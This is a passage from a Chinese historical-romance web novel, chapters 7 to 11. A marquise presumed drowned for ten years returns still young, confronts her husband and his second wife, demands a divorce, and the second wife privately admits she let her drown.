孟南枝与父亲对视了一眼,道:“落湖后,我便记不清许多事,也是近日才想起父亲,得以回府。”
洪太医指尖轻扣脉案:“若如侯夫人所言,那便是水邪闭窍之症。溺水之际,寒水骤入肺腑,上达脑窍,而后摧毁脑中所藏往事记忆,就如书卷遇水,字迹漫漶难辨。”
沈砚修闻言急道:“可有医治之法?”
洪太医抚须沉吟:“我观侯夫人脉象平稳,想来已是快痊愈之兆。只需以温阳化湿之剂调养,再辅以针炙百会、神庭诸穴,待脑窍清灵如拭,那些失散的记忆或可慢慢归位。”
“那便好。”
沈砚修庆幸,幸好母亲记得他。
……
此刻的太医院,一群人正无聊的低声交谈,“没想到这沈世子倒是个孝顺的。”
“是啊,谁能想到镇北侯娶的那位平妻,这么快就顶替了侯夫人在沈世子心中的地位,竟然叫那平妻母亲。”
“只不过沈世子为何要带洪太医去孟府?孟太傅再如何也不可能接受那平妻去他府上看病吧?”
“许是那平妻刚好去孟府生了病?”
“谁知道呢,等洪太医回来吧。”
院内的风卷起落叶掠过石阶,一抹湛蓝屹立在朱红的门前,指尖无意识的掐进掌心。
直到有人突然道了声,“国舅爷。”
一群太医连忙噤了声屈身行礼,再抬眼时,却已不见身影,面面相觑。
其中一位胆大的太医道:“你们看到国舅爷刚才的表情没?湿稠黏腻,我从来没在他脸上见过这种神情。”
一名年长太医回道:“那定是你眼花了,谁不知道谢国舅乃是我大珩战神,一向冷清无欲无求,只为守护边疆。来,趁你眼睛有问题,试试我这治眼新药。”
说着便上起手来。
胆大太医抗拒,“啊,别。”
……
观棋忽忽的赶回了镇北侯府,得知镇北侯出门办差后,便慌忙的想去寻镇北侯,却被人拦住了去路。
“观棋。”
来人一身云霏妆花缎织的海棠锦衣,头插双凤衔珠金翅步摇,面容柔和,让人一看便知是个好相与的主。
观棋连忙行礼道:“平夫人。”
镇北侯平妻,林婉柔一脸关切问道:“侯爷让你去拦世子,你可是拦住了?这孩子,你说怎么就不能好好听侯爷的话呢。”
观棋低头道:“回平夫人,世子被孟太傅拦了下来。”
虽说平夫人与侯夫人原是好友,但见到侯夫人的话,他还是想亲自与侯爷说。
林婉柔松了一口道:“如此,那便好,幸好还有孟太傅,等侯爷回来,我好多劝慰侯爷,世子也是一时孩子气,断不会做出那忘恩负义之事。”
观棋低头垂眉不语。
林婉柔便道:“你也辛苦了,便去歇着吧。”
待观棋离去,一脸麻子的黑衣奴仆突然出现跪地道:“夫人。”
林婉柔笑得温和,“世子没去退婚?”
麻子奴仆却是吓得战栗,“夫人赎罪,并非小人办事不利,而是侯夫人,侯夫人她回来了。”
第7章 相似而已
洪太医提笔落定药方后,并未就此离去,反倒是目光在孟南枝脸上几番游移,踌躇再三后,拱手问道:“侯夫人,有句话……不知当问不当问?”
孟南枝指尖轻点手背,笑意漫过眉稍:“洪太医有何疑虑,但说无妨。”
洪太医语气恭谨中带着几分恰到好处的赞叹:“侯夫人气质卓然,这容貌瞧着竟比寻常花信女子还要鲜嫩几分,实乃奇事。臣行医半生,竟从未见过这般驻颜之术,实在好奇夫人是如何调养的。”
若得到此方,他也必再为后宫妃子层出不穷的驻颜要求,绞尽脑汁、烦忧不已。
孟南枝悄悄抬手抚过自己的脸颊,唇边漾开一抹自嘲的笑,“洪太医不提,我倒真没留意。难不成落水失忆一场,连年岁都退着退了回去?”
沈砚修再不济此刻也品出了其中深意,当即沉下脸,目光如刀般剜向洪太医,冷声道:“洪太医,本世子请你来只是让你为我母亲看诊,你眼下问这话是何意?难不成怀疑我母亲?”
孟太傅已认她为女,沈世子又称她为母,他哪里敢有怀疑。
洪太医连忙惶恐的垂首躬身道:“微臣不敢。”
见他识态,沈砚修还算满意的冷哼一声,“既然我母亲已经看完诊,就劳烦洪太医请回吧。”
孟南枝不满的瞥了他一眼:“你这孩子,洪太医也是求术心切,还不快给沈太医陪罪。”
在母亲的注视下,沈砚修仿佛回到了幼时犯错,被母亲温言细语循循教导的情景,当下便是乖巧的对着洪太医,拱手行了一礼,“本世子,咳,修儿言语不敬,还望洪太医莫怪。”
羁傲不驯的沈世子竟然如此听话。
难道真的是侯夫人?
洪太医心下微定,笑道:“哪里,沈世子赤子之心,也是护母心切。”
这时,福伯快步进来,低声道:“老爷,小姐,镇北侯平夫人来了。”
早晚该来的,总归是躲不过。
孟南枝眼底露出嘲弄,指尖再次轻点手背,默不作声的朝父亲点了点头。
孟正德了然,端坐着没动,只淡淡的吐出一个字:“请。”
林婉柔换了一身绛紫色蹙金牡丹褙子,领口滚着赤金镶边,举手间,金线在光下泛着刺眼光泽。
面容秀丽,却画着精致妆容,眼角隐生细纹,温顺的眉眼间,透着几不可查的正妻气度。
到了正厅,林婉柔半分不见外,径直走到孟正德面前盈盈一拜,语气热络得仿佛自家人:“婉柔见过孟叔伯,我听观棋说孟叔伯将修儿带了回来,特意过来瞧瞧。”
她话锋一转,摆出生母般的关切,“这孩子也是执拗,跟侯爷怄了气,竟非要跑去明家退婚,我当时怎么拦也拦不住,幸好他在路上撞见了叔伯,得您把他领回来,这才没让他闯出祸来。”
目光扫过厅中,待看到端坐着,美貌如旧,如十年前一般娇嫩的孟南枝时,心中一跳。
她定了定神,快步走上前,笑意盈盈的打量:“这位想必就是修儿的心上人吧?果真是好容貌,这么一看,竟是与当年的南枝有几分像呢。怪不得修儿一心想与明家退婚,原来是遇见了这般可人的姑娘。”
一句话便把她定位成了只是一个相似之人。
孟南枝万没想到,在她面前一向温润柔弱,并视为姐妹的好友,竟有这般翻云覆雨的本事。
“修儿他本就性子沉闷,南枝走后,又与侯爷生了嫌隙,越发不愿与我和侯爷多言。叔伯既已知晓他一心退婚的内情,托人知会侯爷一声便是,何故让侯爷和修儿闹到如此难堪的地步。”
孟正德:?
这寥寥两语,竟将镇北侯的过错择得一干二净,反倒成了他一个外姓人的错。
不给孟正德开口的机会,林婉柔便又红了眼眶,泪珠簌簌地往下掉,“侯爷气头上竟说要去求圣上,剥了修儿的爵位……若非我跪下拦着,叔伯你说这可如何是好。”
眼见外祖父和母亲的表情越来越难看,沈砚修羞得红了脸,止住她的话,道:“婉姨你莫要说了,他若想去便让他去是了,我又不稀罕那爵位。而且,这不是我的什么心上人,这是我母亲,外祖父将我母亲寻回来了。”
“母亲?”
林婉柔心头一震,忙不迭否决道:“这怎么可能?修儿,婉姨知你一直思念母亲,可你该清楚,你母亲她已经走了十年了。婉姨还当你早已放下了,难不成……你心里还是怨着我?”
林婉柔又细细地打量了孟南枝一眼,越看越心惊,特别是那眸子,清亮得像浸在溪水里的琉璃,仿佛能直直照进人的心底。
林婉柔慌忙转向一旁,语气带着几分急切:“再说了,即便是你母亲尚在人世,也该与我同岁,怎会是这般年轻模样?你说是吧?洪太医。”
洪太医:?
没想到自己只是想看看八卦,站着不动也能躺枪。
他就知道,贵门宅子里那些事,不是他说看就能看的。
连忙对着孟正德和孟南枝分别躬身做了一辑道:“孟太傅,侯夫人,微臣想起还有一位重要病人等着我去看诊,先告辞了。”
想否定她的身份?
孟南枝盯着林婉柔发间的赤金点翠翟鸟步摇,起身笑着问道:“你是林婉柔?这怎么可能?”
“我与林婉柔情同姐妹,溺水时更是拼了命的将她托举而出。若是林婉柔,怎么可能在我离开后嫁我夫婿做平妻?!她该知我对此忌讳,她若嫁了我夫婿,我即便是做鬼也不会放过她。”
趁她不注意,孟南枝一把薅下她发间的赤金点翠翟鸟步摇,“而且,林婉柔一向性情温顺,规矩知礼,怎么可能带着只有正妻才能用的发饰?”
寻她的错,还让她自证,凭什么。
她孟南枝就是孟南枝,何需自证。
谁疑她,那也该谁去自证。
孟南枝看着林婉柔越来越苍白的脸色,突然将步摇尖端抵至她喉间,“洪太医,你说有没有可能她是中了邪,或是实际上换了一个人,根本就不是林婉柔呢?”
第8章 她太年轻了
洪太医:?
他能说什么?他只是被拖来看个诊,什么也不知道啊。
他算是看明白了,他就是个工具。
林婉柔的面色愈加苍白,额间渗出冷汗。
她来时想过种种可能,却没想到孟南枝竟如此直接。
只此一问,她便知,是她,是孟南枝。
她回来了。
毕竟除了她,没有人知道大衍湖下,是孟南枝在拼命托举她。
她不知,十年未见的孟南枝到底知道她多少事。
不过再抬眸时,林婉柔眼底的慌乱已褪得干干净净,只剩下满眶的惊疑和急切的关切。
她赌,真的孟南枝根本不可能会要她的命。
便是不顾喉抵尖物,上前一步问道:“你,当真是南枝?是了,这般模样,分别和南枝一模一样。”
果真,喉间的步摇向旁偏移了两分。
趁这机会,林婉柔伸开臂弯,想双手将孟南枝揽入怀中以示亲密,“南枝,你可知我好想你,这些年你到底去了哪里……”
孟南枝默不作声的往后退了一步。
林婉柔扑了个空,手臂僵在半空,却不见半分尴尬。
她抬手取出袖中绣帕,轻拭眼角,泪珠再次跟断了线的珠子一样滚落,“南枝,你可是在怪我?对,你是该怪我。”
“当年若不是为了救我,善水的你也不致于会溺水。你不在的这些年,我是日夜寝食难安。总想着那日沉入湖底的,该是我才对。”
说着,膝盖一软,竟又直挺挺的跪了下去,“南枝,是我对不住你,你便是怨我、恨我,也是应当的。我不该答应了太后懿旨,嫁入侯府做平妻。可我真的别无他法啊,我只是想替你守着侯爷,照顾好修儿他们三个孩子。”
孟南枝眉梢微挑,镇北侯他一个堂堂大人,有手有脚,有奴婢。
而她的子女有父亲,有外祖父,再不济也有奶娘和丫鬟婆子。
用得着她牺牲名节,嫁到侯府里去做平妻?
而且,她还没说什么呢,这就又是跪又是哭的,准备演给谁看?
孟南枝站着未动,越发好奇,想看看接下来会有什么“奇迹”。
果真,一道寒声递进而来,“婉柔,莫要与他下跪,快起来。”
紧接着,便是雷霆般的怒喝:“逆子,沈砚修!你又闯了什么祸,不仅让你婉姨特地跑来孟府来请你回去!竟然还惹得她给你跪下!你不是要退婚,好!你现在就去!”
孟南枝闻言,不满的眯了眯眼睛。
当真是好胆,这两人竟然一个个的跑到孟家来,如此无礼闹事。
她不在的这些年,镇北侯竟是连她父亲的体面都不顾了。
说话间,镇北侯沈卿知已大步流星地踏了进来。
他身着一袭藏青色暗纹锦袍,颌下留着寸许短须,一张因岁月带了细纹的脸涨得通红,目光扫过堂中,却谁也未看,径直走到沈砚修南面前,扬手便要朝那张脸扇过去。
然而那带着劲风的巴掌还未落下,便被一只莹白如玉的手稳稳截住。
下一瞬,只听“啪”的一声脆响,那张玉手竟然大力反扇在了他脸上。
“镇北侯,你便是这般教导子女的?!”
沈砚修:?
洪太医:?
孟正德低眉遮掩笑意,悄摸摸鼓掌:打得好!
林婉柔下意识的摸了摸脸:她真敢打啊……
镇北侯沈卿知脑瓜子嗡嗡的,他竟然被人打了?
顿时怒火中烧,看也不看便厉声喝斥道:“你算什么东西,也敢打本侯?”
直瞥见沈砚修下意识的往那女子身后缩了缩,他才猛地抬眼,视线如利剑般刺向那抹素衣女子。
女子约莫二十几岁的年纪,似刚褪去少女的青涩,却又未染上半分暮气,眉峰如远山含黛,拢着几分英气,眼尾微微上挑,瞳仁像是染了薄冰的墨,看向他时,带着几分冷漠和疏离。
“南枝?”
沈卿知喉间溢出一声低喃,指尖微微发颤,“南枝,怎么是你?你回来了?”
跪在地上的林婉柔,忙不迭地顺势起身,眼中挂着晶莹的泪珠,快步上前亲昵地揽住了镇北侯的臂弯,“侯爷,真是南枝回来了。你瞧她这模样,十年过去竟没半分变化,活脱脱的就像照着当年咱贴遍满京的画像,刻出来的一般。”
若真是孟南枝,一个十年未见的人,脸上怎会连半分岁月痕迹都不曾留下。
是啊,怎么可能十年过去,没有一丝苍老。
镇北侯沈卿知在林婉柔软软的拉扯下拽回神思,胸中翻腾的怒意稍敛,眼底却是浮起冷冽的警惕,“你究竟是谁?竟然冒充本侯亡妻!”
他轻拍了拍林婉柔的手背以示安慰,转身又对孟正德道:“太傅,此乃有诈,你莫要被人骗了。”
可当目光再次撞进那女子的眉眼时,他又忍不住心神剧震。
世上怎会有如此想像之人,那眉峰的弧度,眼尾上挑的角度,哪里是相似,分明就是分毫不差。
和他那早逝亡妻溺水前的模样,一模一样。
以前不是没有相似之人故意接近他,他只需一眼便能看出其中区别。
可眼前的女子,连他都几乎要分辨不出,差点认为那就是他的亡妻。
孟南枝始终面无表情,此刻却是唇角勾起一抹讥诮的冷笑,“镇北侯的威风倒是比从前更盛了,我不在的这些年,你便是如此苛待我儿的?遇事不问青红皂白,便对他拳打脚踢?”
沈卿知脸色一沉,避而不答,反而厉声质问道:“你是何人派来的细作?手段倒是新鲜,不仅敢冒充本侯亡妻,竟还妄议我管教儿子。来人!”
话音刚落,两名黑衣侍卫便已踏门而入,手按腰间佩刀,只待主人下令。
“滚出去!”
从镇北侯进来便未作声的孟正德,突然猛拍太师椅扶手,震得窗棂都跟着晃了两下,吓飞了停落的稚鸟,“怎么,镇北侯当老夫是死的,要在我这孟府发号施令。”
镇北侯喉头滚动,压下怒意:“太傅,我知你思女成疾,日夜盼着南枝回来。可南枝是我的发妻,她死了,我也很难过。太傅应知我与你一样的心境,可这女子……”
他目光扫过那年轻身影,语气冷硬,“她太年轻了,绝非南枝。奸人正是瞧准了太傅你这份心思,才寻来个与南枝如此相似的丫头故意接近。”
镇北侯加重了语气,苦口婆心道:“太傅,莫要被人蒙骗了。”
第9章 休了她吧
孟正德重重一哼:“你当老夫是三岁孩童?哪路奸人瞎了眼,放着适龄女子不选,偏挑个这般年轻的来冒充?”
躲在孟南枝身后的沈砚修忽然攥紧拳头,移身站了出来,仰头对镇北侯说道:“父亲,这真的是母亲,母亲溺水后得了水邪闭窍之症不记得往事,才没能回来。也是因得了水邪闭窍之症,这才能保持容颜未改。”
话音刚落,他忽然想起什么,猛得转头,喊住正提着药箱准备溜出门缝的洪太医,“洪太医,你说是吧。”
工具人洪太医:?
唉呦喂,他这是造的什么孽啊,不就是想继续听八卦,脚下慢了两步,竟然又卷进这是非来。
完了完了,他今日就不该留在太医院,哪怕是进宫被哪个妃子训斥上两句,也比留在这里当个证人强啊。
见他迟迟不动,镇北侯沈卿知眉头微蹙,冷声道:“洪太医,世子方才所言,可是实情?”
洪太医手一颤,不得不提着医箱转过头来,走到镇北侯面前,躬身行礼道:“微臣见过侯爷,侯……”
侯夫人这三个字卡在喉间,说也不是,不说也不是。
待见到孟太傅竟然轻咳一声,平静的在太师椅坐下后,忙是在心中盘算。
镇北侯只是镇北侯,依沈卿知的才能,到死也不可能再升国公。
然孟太傅却不一样,孟太傅是天子伴读,皇子太傅,不管以后哪位皇子继位,都会尊他一等。
怎么算都是太傅的赢面更大,再不济还有世子认母呢。
想到这里,洪太医喉间动了动,避开镇北侯锐利的目光,道:“侯夫人落水那日寒气侵骨,呛水之后便得了水邪闭窍之症。”
沈卿知看向孟南枝,眸光沉沉,“即如此,那对容颜未改又有什么干系?”
洪太医额角渗出细汗,只得搬出孟南枝的说辞,声音却不由低了几分:“这个……微臣医术浅陋,未有涉猎,许是水邪闭窍之症太过霸道,不仅封闭了记忆,连容颜也一并封存了。”
为了日后不打脸,洪太医又再次补充,“待日后完全想起往事,这容颜的窍道自然也就通了……届时便会恢复如常。”
话刚说完,洪太医便觉得脸颊发烫。这般牵强的解释,连他自己听着都有些荒唐。
只希望日后宫中那些妃子听到这些话时不要信,要不然都去跳湖以求得这水邪闭窍之症,妄求闭容颜之窍时,他就完了。
众人自然不知他心中所想,也不知他所想竟然在日后成了真。
见镇北侯表情有所松动,林婉柔拽紧了袖帕道:“没想到这世间竟然还有如此绝妙之症,简直是闻所未闻。”
不管别人满不满意,孟南枝对这洪太医却是相当满意。
不仅圆了她十年容颜未改,还替她日后容颜若改找了由头。
她的长子,在找人办事上,还是相当妥贴的。
思至此,孟南枝抬眸扫向镇北侯和林婉柔。
从他们进来到现在,一个她夫君,一个她姐妹,竟一个个都不问询她的意见,直接就定了她的罪。
或许,他们不是不相信。
而是根本没打算认,也没打算让她孟南枝回来。
她孟南枝何时是这般任人可欺的。
便是冷声道:“镇北侯可还有疑虑?!”
“竟然真是南枝。”
沈卿知闻言,再去看孟南枝的脸,心情便变得微妙起来。
容颜暂驻,没有暮色,就连脾性也是保持着即少女又少妇的性子。
思至此,沈卿知上前一步欲拉住孟南枝的手,却被林婉柔抢在了前面,“南枝,真的没想到你竟然真的没死,侯爷一直都在等你。”
孟南枝默默往后躲了一步。
吃瓜·洪太医·工具人:这画面我是不是看过了?
林婉柔摔倒在地。
吃瓜·洪太医·工具人:又好像有点不一样。
沈卿知担心的弯腰将林婉柔扶了起来,柔声道:“婉柔,你可受伤?”
林婉柔摇头,一双似水眸子泫然若泣,“侯爷,妾身没事,南枝怪我是应该的,若不是当初你先救我出去,她也不会溺水,又得了那失忆之症,导致这么些年都不能回来,恨我恼我都是应该的。”
呵!
孟南枝仰首无语的看了看木梁,她定是上辈子造了孽,才导致这辈子瞎了眼,视这么一个人当姐妹。
林婉柔说着,又将沈卿知往孟南枝身边推了推,“侯爷,你快同南枝说说,这些年,你为了寻她抽干了大衍湖水,摸遍了周边河道。即便这么多年没找到她,你也坚信她还活着,给她留着正妻之位,把南枝接回府吧。”
这些原本他想亲口与孟南枝说的话,经人这么一传好似突然变了味。
镇北侯沈卿知念着孟南枝的那颗心,突然就变得没有那么热切了。
只是定定的看着她,道:“这些年苦了你,既然回来了,便同我回侯府吧,修儿他们三个对你甚是想念。”
孟南枝心中冷哼,面上却是平静道:“既然刚才镇北侯如此疑我,我也有几疑想问问镇北侯。”
沈卿知点头,“你问。”
孟南枝道:“当年我与林婉柔同时落水,为何镇北侯先去救的却是林婉柔,而非是我这个发妻呢?”
这个问题,当年孟太傅和长子沈砚修已问过多次。
沈卿知自然信手拈来,“当时我跳下湖便是想救你而去,但见你拼命的把婉柔往上推,婉柔离得我最近,你又善水。我便想着先把婉柔送到岸上,再去救你。没想到,等我再下湖去救你时,却怎么也寻不到你了。”
婉柔婉柔,叫得如此亲切。
孟南枝心中呸了一口,又问道:“沈卿知,当初你上孟家求娶我时,曾许诺我一生一世一双人,哪怕我死。为何在我死了之后,又娶了平妻。”
镇北侯垂眸,指尖反复摩挲着腰间的玉佩。
这玉佩是去岁冬日林婉柔亲手雕琢的,边角被他日日摩挲得温润剔透。
他抬眼看向孟南枝,声音低沉:“这不是我的想法,此乃太后懿旨。”
孟南枝目光在两人之间转了个来回,“这么说,你便是对她没有感情了?”
众目睽睽之下,镇北侯半晌才点了点头,又摇了摇头,“感情自然是有的,但毕竟是太后懿旨,我也是奉旨而为。”
孟南枝如若未闻,接着说道:“照你这么说那便是感情不深,既然这些年你都盼着我,等着我,现在我回来了,便休了她吧。”
她倒要看看,在这十年间打着爱她不续弦名号的镇北侯,到底会不会因为她的出现,去休掉巨幕中与他那般“恩爱”的平妻林婉柔。
第10章 那便和离
“休我?”
镇北侯沉默未言,林婉柔却是又气又急,气恼的声音中带着甜又缠着媚:“孟南枝。亏我还相信你是南枝,若是南枝,怎么可能与我说出这话,以休字来如此辱我。”
孟南枝溢出一声冷哼,眼眸冰冷,“我若不是孟南枝,今日便不是休你这么简单了。”
林婉柔深吸一口气压下翻涌的情绪冷静下来,“那好,你说我是犯了七出中的哪一条。”
她微微倾身,说话的尾音带着轻轻的颤抖,如受了天大委屈,“我知你恼我嫁于侯爷,可我乃是奉的皇太后亲笔懿旨入府,难不成你要我落个抗旨不尊,满门抄斩的下场?你说,我该如何能抗旨?又如何敢违逆天威?”
“更何况。”
说到此处,林婉柔拿起袖帕擦起眼角的泪水,声音柔得极致,“这十年,为了你能平安归来,我可是日日在佛前焚香祷告,吃斋素整整十年。不辞辛劳伺候侯爷,视修儿他们兄妹为亲生,天冷了连夜赶制棉衣,暑了亲自督办冰盆,衣食住行,桩桩件件,便是比对我自己的亲女儿还要上心三分。”
镇北侯沈卿知看向哭得声声且且的林婉柔,这是他年少时惊鸿一瞥便记挂了许多年的姑娘,后来嫁作他人妇,夫君战死沙场,她带着稚女被夫家嫌弃未能留后,每日谨小慎微地活着。
如今好不容易才入他侯门,脱离苦难。
孟南枝一回来,便想再将她推进苦难。
他如何舍得。
便同孟南枝说道:“是啊南枝,婉柔她嫁于我为平妻,确实是皇太后的懿旨,但对我也是真心。这些年寻你不得,侯府不可无主母理事,修儿他们也不可无主母管教。她一个妇人,哪里能推辞。”
长子沈砚修上前拉住孟南枝的衣袖,声音放低:“母亲,婉姨没有觊觎过正妻之位,京中众人对她皆是夸赞。”
母亲平安归来,他比谁都高兴。
可真要就这么休掉婉姨,母亲的名声,只怕是要被吐沫星子淹了去。
沈砚修不想母亲被人指指点点。
少年望着孟南枝的眼,满是孺慕。
孟南枝看了看长子沈砚修,明白他的心思,接着冷眼看着镇北侯道:“太后懿旨?沈卿知,这懿旨是怎么来的,别人不清楚,你镇北侯还能不清楚?”
沈卿知眸色微暗,那道懿旨,是他为了保全名声,暗中向太后求来的,此事做的极为隐秘,按理断无人知晓。
但到底是有些心虚,沈卿知放软了语气,对孟南枝低声说道:“南枝,太后的懿旨,便是侯府也不能违逆,谁又谁真正左右呢?”
孟南枝眼帘轻阖,长长的睫毛在眼下投出一片浅影,遮住了眸中所有情绪,只余一片沉寂。
林婉柔见她默不作声,只当是再无辩驳之词,忙是劝慰道:“南枝,我知道你乍闻此事,心中定然难平。但眼下你我同侍侯爷已是事实,往后在府中便以姐妹相称可好?你始终是名下言顺的侯夫人,府中大小事宜,自然还是你做主。”
她微微垂首,声音凄切如泣:“你若实在介怀,我往后便只在自己院中待着,绝不碍你和侯爷相处。我不会与你争抢侯爷的宠爱,只盼府中留我一席之地,容我将筝儿抚养成人便够了。”
说到此处,她突然抬眼,泪水如线一般断落,“若是这样你还不肯容我……那我,便唯有以死谢罪了。”
林婉柔往向镇北侯和沈砚修,声音颤抖,“只求侯爷和世子念着往日情分,替我照顾好筝儿……”
话音未落,她便猛得转身,朝厅下那根柱子撞去。
“婉柔。”
镇北侯箭步上前将她紧紧抱在怀里,对洪太医喊道:“洪太医,洪太医,还不快过来救人!”
洪太医默默上前,看着林婉柔连肿都没肿的额头:这也叫伤?
镇北侯却是心疼的摸着她的额头,声音里满是怜惜道:“婉柔,你这是何苦,你本也是尊旨行事。”
他转头看向孟南枝,眼神里已染了几分明显的失望与责备:“南枝,婉柔都已这般退让,你素来与她以姐妹相称,即便她做了我的平妻,你又何必如此步步紧逼?”
孟南枝蹲下身,冷眼看着带泪的林婉柔,“林婉柔,请你看清你的位置。景和六年,镇北侯府,清荷苑。你与镇北侯做了什么你们自己清楚,念着以前的情份,别逼我动手扇你。”
巨幕中,她死后第三年,林婉柔亲手喂着镇北侯吃了酒,而后两人便在她的院内床榻上……
闭了闭眼,不理会林婉柔面色的瞬间苍白。
孟南枝又看着面色同样难堪的镇北侯,声音轻柔却不容分辨:“即然镇北侯不愿休她,那便和离吧。”
她的七年,到底是不及她的七年。
沈砚修:“母亲!”
孟南枝看了眼长子,对一直站着的胡姨娘道:“胡姨娘,带修儿出去休息。”
胡姨娘点头。
沈砚修不愿,却仍是在母亲的眼神威压下,乖乖的跟着胡姨娘走了。
给林婉柔涂完药的洪太医顺势也猫着身子跟了出去。
不看了不看了,再看下去小命不保喽。
厅堂恢复寂静,镇北侯沈卿知看着眼前的孟南枝,目光落在她微微扬起的下巴上,恍惚间竟与初见时的模样重叠。
那时的她,也是这般眉眼清亮,带着一身他从未有过的率真,连骨子里的自信与张扬都像淬了光,晃得他移不开眼。
只是那时,他还是沈家的庶子,日日躲在阴暗里。
望着那样鲜活的她,心头盘桓的从不是少年人纯粹的爱慕,更谈不上什么保护欲,唯有盘算。
这样的人,该如何纳入囊中,如何变成自己向上爬的梯,成为只属于他的东西。
如今,他已是权倾一方的镇北侯,沈家上下皆唯他马首是瞻。
镇北侯喉结微动,压下翻涌的思绪,声音放得低缓:“南枝,你刚回来,身子还未养好,先随我回侯府去,我会寻京中最好的几位名医,让他们好生为你调理。等你精神好些了,今日这事,我们再慢慢商议,可好?”
孟南枝看着面色苍白如雪的林婉柔,嘴角勾起一抹极淡的弧度,眼底却没半分暖意,故意折磨她似的没有回镇北侯的话,反而抬眼看向父亲,道:“父亲,女儿累了。”
孟正德深邃睿智的眼珠动了动,对着镇北侯疏离的拱了拱手,“侯爷,请回吧。”
第11章 彻夜未眠
晚宴撤席后,胡姨娘轻挽着孟南枝,软声道:“枝枝今日定是乏了,快去歇歇吧。”
一路软言细语的到了她的小院,“这些年老爷总念叨着你,房里的一切都原封不动的留着,你先看看有哪些缺的,姨娘给你安置。”
孟南枝住的闺房在阁楼上,通往阁楼的木梯被擦得发亮。
当年她总爱抱着廊柱攀到房檐上,父亲便亲手绘了图,寻来京中最好的工匠,在窗台对着的横梁上嵌了雕花踏板,一直通到房檐。
房檐边上还装上了祥纹栏柱,为的便是防止她掉下来。
闺房内还保持着原来的样子,家具摆设一尘不染,看得出时常有人擦拭。
孟南枝指尖抚过窗下的梳妆台,柔声道:“这样就好,劳姨娘费心了。”
阁楼下的青砖被夜露浸得发凉,沈砚修仰头望着母亲房中亮着的灯,长衫被夜风吹得猎猎作响。
父亲明明说为了母亲不再续弦,可如今母亲回来了,他却那般护着一个外人,害得母亲如此委屈。
晚宴时,母亲看似与众人温和笑谈,却是连她最爱吃的桂花鱼都没动一筷子。
珩弟还没找到,他连和母亲说都不敢说,就怕母亲担心。
孟正德不知何时立在他身后,手掌轻拍了拍他的背,叹道:“修儿,莫在担心,去歇着吧,让你母亲静一静。”
阁楼里的床榻在胡姨娘的吩咐下,早已被丫鬟们安置妥当。
新换得被褥软得像云,带着淡淡的皂角香。
孟南枝躺在上面却翻来覆去,难以入眠。
她与沈卿知初识时,他还不过只是沈府的一名庶子。
不受重视,却才貌出众,是侯门里屈指可数的才貌俱全之人。
父亲曾叹他,胸有丘壑,腹藏乾坤,奈何身份低微,徒有凌志难伸。
所以,每次见他,孟南枝便会多看上几眼。
后来,她到了适婚年龄,他上门提亲。
孟南枝没有什么欢喜的人,对婚姻也是相当懵懂。
直到看到了他的书信,许她一生一世一双人。
她受父母之爱影响,便在诸多适龄青年里,选了他。
两人大婚,十里红妆。
红灯烛火下,他一字一顿:此生唯你,心无旁鹜。
她交心于他,诞下两子一女。
全力助他,得镇北侯之位。
夫君高升,子女聪慧。
她以为如此便是一辈子。
没想到却是遇到如今这些个糟心事。
不过一次溺水,便与他们生生间隔了十年。
……
镇北侯府,烛火摇曳。
林婉柔难掩眼底焦躁,同样难以入眠。
自从孟府回来后,心口那团火便烧得愈发旺盛。
镇北侯自跨进府门,便径直进了书房,连带着晚膳都未曾出来用。
可她虽气,为了维持多年塑造起来的形象,却不能在侯府的丫鬟婆子面前发脾气。
强忍着笑意,对屋内的守夜丫鬟轻声吩咐道:“你们去外面守着,我想一个人静一静。”
丫鬟们闻声离去后,林婉柔才将被褥、锦枕狠狠的摔了一地。
她死死攥着衣角,指节泛白,指甲几乎要嵌进肉里。
孟南枝死了!
她明明已经死了!
当年那场落水,她故意拼命往下坠,亲眼看着孟南枝拼命将她托举而出后,因为力竭沉入湖底。
她佯装昏厥一天,得知京卫府打捞并未见到尸体后,心有顾虑,便跪地恳求镇北侯抽干了大衍湖水。
整整半年,湖畔周围都飘着鱼虾水草腐朽的气息,却连半片衣角都没捞上来。
没有人认为她还还能生还,镇北侯府便为她立了衣冠冢。
十年了。
谁能想到,她竟然还活着。
还活得那般年轻!
可她为什么偏偏要在这个时候回来?
在她费尽心机,好不容易才勉强坐稳这平妻之位的时候!
“母亲?”
门被轻轻推开一条缝,女儿陆筝筝怯生生的声音钻了进来,“您睡了吗?”
林婉柔深吸一口气,强压下翻涌的怒意,哑声道:“还未曾入睡,进来吧。”
陆筝筝轻轻推开半扇门,见着满地狼藉,眉头下意识的蹙了蹙,看了眼身后,连忙将门合上,将那被褥、锦枕捡拾起来,叠好放在床上。
而后,温顺的走到林婉柔面前,给她轻按头上穴位,柔声问道:“女儿听丫鬟说,母亲今日去孟府寻世子哥哥了?可是孟府的人……对您不敬?”
在女儿面前,林婉柔向来是自然的。
所以,便也无所顾忌的眸底掠过一丝阴翳,声音发沉道:“孟南枝回来了。”
“什么?”
陆筝筝惊得手下重了两分,疼得林婉柔移开了头。
陆筝筝又连忙上前轻柔着,脸上满是难以置信,“南姨她?这怎么会呢?当年不是说……不可能还活着吗?那么深的水。”
林婉柔冷笑一声,指甲陷入掌心,“是啊,谁能料到,那么深的湖水竟然还没能要掉她的命。这众人口中死了十年的人,如今竟活生生地站在孟府!”
陆筝筝眸中掠过一丝慌乱,嗫嚅道:“那,母亲。南姨她既回来了,怎么没随您和侯爷一同回府?”
她若回来,母亲刚掌了侯府的权,是不是要被收回去?
那自己……
“她想让侯爷休了我!”
林婉柔再也压不住怒火,猛地一扫桌子,茶盏落地发出刺耳的破裂声。
外面守着的丫鬟吓得猛然跪地,却并未敢擅自开门。
陆筝筝看了看门口跪着的倒影,脸色一白,急忙推开门,对跪地的丫鬟说道:“母亲不小心碰碎了茶盏,你们去再寻一盏来。”
又拐回来对母亲轻声道:“这怎么能行!母亲到底做错了什么?她自己命薄没了,难道还要侯爷为她守一辈子寡?这世上哪有这样的道理!她又凭什么……”
林婉柔胸口起伏,摆了摆手,“就凭她是孟南枝,侯爷的正妻。”
陆筝筝沉默,良才才压低声音道:“母亲,你说她一个女子,独身在外十年,难道就没遇到过什么人?保不齐早就另嫁了他人,又有了孩子了呢。”
这话像根针,轻轻刺破了林婉柔心头的躁郁。
她抬眼看向孟府方向,眸中渐渐浮出一丝晦暗不明的光。
……
夜色已浓得化不开,更夫的梆子敲过三响。
孟南枝的脑子越发清醒,一会儿浮现巨幕中三个子女的惨死情景,一会儿又浮现镇北侯今日护着林婉柔的模样。
翻来覆去折腾了半宿,终是没了睡意。
她轻手轻脚地下了床,披了件素色披风,踮脚跃过外间软榻上睡得正香的守夜丫鬟。
